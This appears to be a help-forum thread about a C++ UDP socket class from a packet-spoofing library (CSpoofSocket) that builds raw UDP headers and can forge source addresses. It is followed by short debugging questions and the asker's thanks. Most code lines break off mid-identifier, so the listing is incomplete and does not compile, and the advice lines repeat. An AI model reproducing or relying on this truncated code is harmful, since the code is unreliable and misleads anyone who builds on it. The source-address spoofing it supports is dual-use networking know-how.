* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_UDPSOCKET_H__
#define AFX_UDPSOCKET_H__B6FDDD18_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "SpoofSocket.h"
typedef struct _UDPHeader
{
unsigned short SourcePort;
unsigned short DestinationPort;
unsigned short Length;
unsigned short Checksum;
} UDPHeader;
typedef UDPHeader FAR * LPUDPHeader;
#define UDPHeaderLength sizeof(UDPHeader)
class CUDPSocket : public CSpoofSocket
{
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
LPCSTR g_nData);
BOOL Create();
CUDPSocket();
virtual ~CUDPSocket();
};
#endif // !defined(AFX_UDPSOCKET_H__
UDPSOCKET.cpp source:
#include "stdafx.h"
#include "UDPSocket.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
int buf;
int BufLength;
//////////////////////////
// Construction/Destruction
//////////////////////////
CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}
CUDPSocket::~CUDPSocket()
{
}
BOOL CUDPSocket::Create()
{
SetProtocol(IPPROTO_UDP);
return CSpoofSocket::Create(IPPRO
}
BOOL CUDPSocket::Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
LPCSTR g_nData
)
{
//We can construct the UDP here
LPUDPHeader lpUDP;
lpUDP=new UDPHeader;
//Set the ports
lpUDP->SourcePort=htons(iS
lpUDP->DestinationPort=hto
//Set the length
lpUDP->Length=htons(UDPHea
//Check sum
lpUDP->Checksum=0;
BOOL bResult;
if (BufLength)
{
//Create the buffer
int iTotalLength;
iTotalLength=UDPHeaderLeng
char* tmpBuf;
tmpBuf=new char[iTotalLength];
/* memcpy(tmpBuf,lpUDP,UDPHea
memcpy(tmpBuf+UDPHeaderLen
*/
//Update it
lpUDP->Checksum=CalculateP
//Recopy it
memcpy(tmpBuf,lpUDP,UDPHea
//Send it
bResult=CSpoofSocket::Send
//Delete
delete tmpBuf;
}
else
{
//Update it
lpUDP->Checksum=CalculateP
//Send it
bResult=CSpoofSocket::Send
}
//Clean up
delete lpUDP;
return bResult;
}
BOOL CUDPSocket::SetBroadcast(B
{
//Set broadcast option
if(setsockopt(getHandle(),
{
//Check for options error
SetLastError();
return FALSE;
}
return TRUE;
}
sendto() is a socket API function. It is hard to figure out what is wrong by just reading the code above. You should debug it. Think about these questions?
What is the data flow?
Where does the data get lost in the chain?
What is the data flow?
Where does the data get lost in the chain?
ASKER
Hey guys, thanks for all your help. I split the points in half because both of you were extremly helpful. Thanks!